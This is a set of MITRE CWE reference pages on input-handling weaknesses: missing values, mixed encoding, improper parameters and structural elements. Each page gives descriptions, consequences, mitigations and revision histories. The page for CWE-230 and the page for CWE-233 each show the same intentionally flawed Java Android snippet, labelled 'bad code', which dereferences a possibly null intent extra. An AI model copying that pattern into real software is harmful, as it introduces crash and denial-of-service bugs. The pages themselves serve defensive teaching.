ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.159Improper Handling of Invalid Use of Special Elements
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

+ Observed Examples
ReferenceDescription
Crash via message type without separator character
Missing special character (separator) causes crash
HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it
+ Potential Mitigations
Developers should anticipate that special elements will be removed in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Special Element
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Missing Special Element
2009-05-27Failure to Handle Missing Special Element

CWE-230: Improper Handling of Missing Values

Weakness ID: 230
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.229Improper Handling of Values
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Demonstrative Examples

Example 1

This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

+ Observed Examples
ReferenceDescription
Blank Host header triggers resultant infoleak.
Blank "charset" attribute in MIME header triggers crash.
Blank parameter causes external error infoleak.
Blank parameter causes external error infoleak.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Value Error
The CERT Oracle Secure Coding Standard for Java (2011)ERR08-JDo not catch NullPointerException or any of its ancestors
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Research_Gaps
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Type
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Missing Value Error
2009-03-10Failure to Handle Missing Value

CWE-175: Improper Handling of Mixed Encoding

Weakness ID: 175
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle when the same input uses several different (mixed) encodings.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMixed Encoding
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mixed Encoding
2010-12-13Failure to Handle Mixed Encoding

CWE-233: Improper Handling of Parameters

Weakness ID: 233
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.234Failure to Handle Missing Parameter
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.235Improper Handling of Extra Parameters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.236Improper Handling of Undefined Parameters
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Demonstrative Examples

Example 1

This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERParameter Problems
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Description, Name, Type
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2013-07-17Parameter Problems

CWE-237: Improper Handling of Structural Elements

Weakness ID: 237
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles inputs that are related to complex structures.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.238Improper Handling of Incomplete Structural Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.239Failure to Handle Incomplete Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.240Improper Handling of Inconsistent Structural Elements
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERElement Problems
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Element Problems

CWE-228: Improper Handling of Syntactically Invalid Structure

Weakness ID: 228
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
